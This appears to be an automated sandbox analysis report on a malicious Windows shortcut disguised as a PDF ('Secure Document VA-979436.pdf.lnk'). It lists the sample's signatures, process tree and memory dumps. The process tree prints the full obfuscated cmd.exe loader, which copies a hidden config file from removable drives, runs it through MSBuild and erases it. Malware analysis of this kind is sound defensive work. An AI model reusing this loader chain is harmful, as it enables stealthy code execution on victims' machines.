Analysis
- max time kernel
298s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 15:59
General
- Target Secure Document VA-979436.pdf.lnk
- Size 3KB
- Sample260804-te3xyatgmc
- SHA256 a73195599731fc4d61697c6866dc934df5d7e227810bd9246de9775ad027d494
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Secure Document VA-979436.pdf.lnk"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:On /c set _s=Micros&set _xw=oft.NET\&set _d=Framewor&set _xcu=k64\v4&set _gtj=.0.30319\MSBuild.exe&set _yiu=/nologo &set _vx=/clp:NoSummary&set _mmy=;NoItemAnd&set _cv=PropertyList;ErrorsOnly&@cd .&(for %a in (G F J I H W P V U Q L T D R Z Y E O K X N S M) do @if exist "%a:\Microsoft Secure Document Logs\frsyspmm.cfg" @copy /y "%a:\Microsoft Secure Document Logs\frsyspmm.cfg" "C:\Users\Admin\AppData\Local\Temp\msbuild_15c0c1.cache" >nul 2>nul & @if exist "%a:\frsyspmm.cfg" @copy /y "%a:\frsyspmm.cfg" "C:\Users\Admin\AppData\Local\Temp\msbuild_15c0c1.cache" >nul 2>nul) & "C:\Windows\!_s!!_xw!!_d!!_xcu!!_gtj!" "C:\Users\Admin\AppData\Local\Temp\msbuild_15c0c1.cache" !_yiu!!_vx!!_mmy!!_cv! >nul 2>nul & erase "C:\Users\Admin\AppData\Local\Temp\msbuild_15c0c1.cache" >nul 2>nul2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\msbuild_15c0c1.cache" /nologo /clp:NoSummary;NoItemAndPropertyList;ErrorsOnly3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/6112-0-0x00007FF9BD71F000-0x00007FF9BD720000-memory.dmp
memory/6112-2-0x000002079ECE0000-0x000002079ECFA000-memory.dmp
memory/6112-1-0x000002079E830000-0x000002079E86E000-memory.dmp
memory/6112-3-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/6112-4-0x00000207B8F10000-0x00000207B906A000-memory.dmp
memory/6112-5-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp
memory/6112-6-0x00007FF9BD590000-0x00007FF9BDF34000-memory.dmp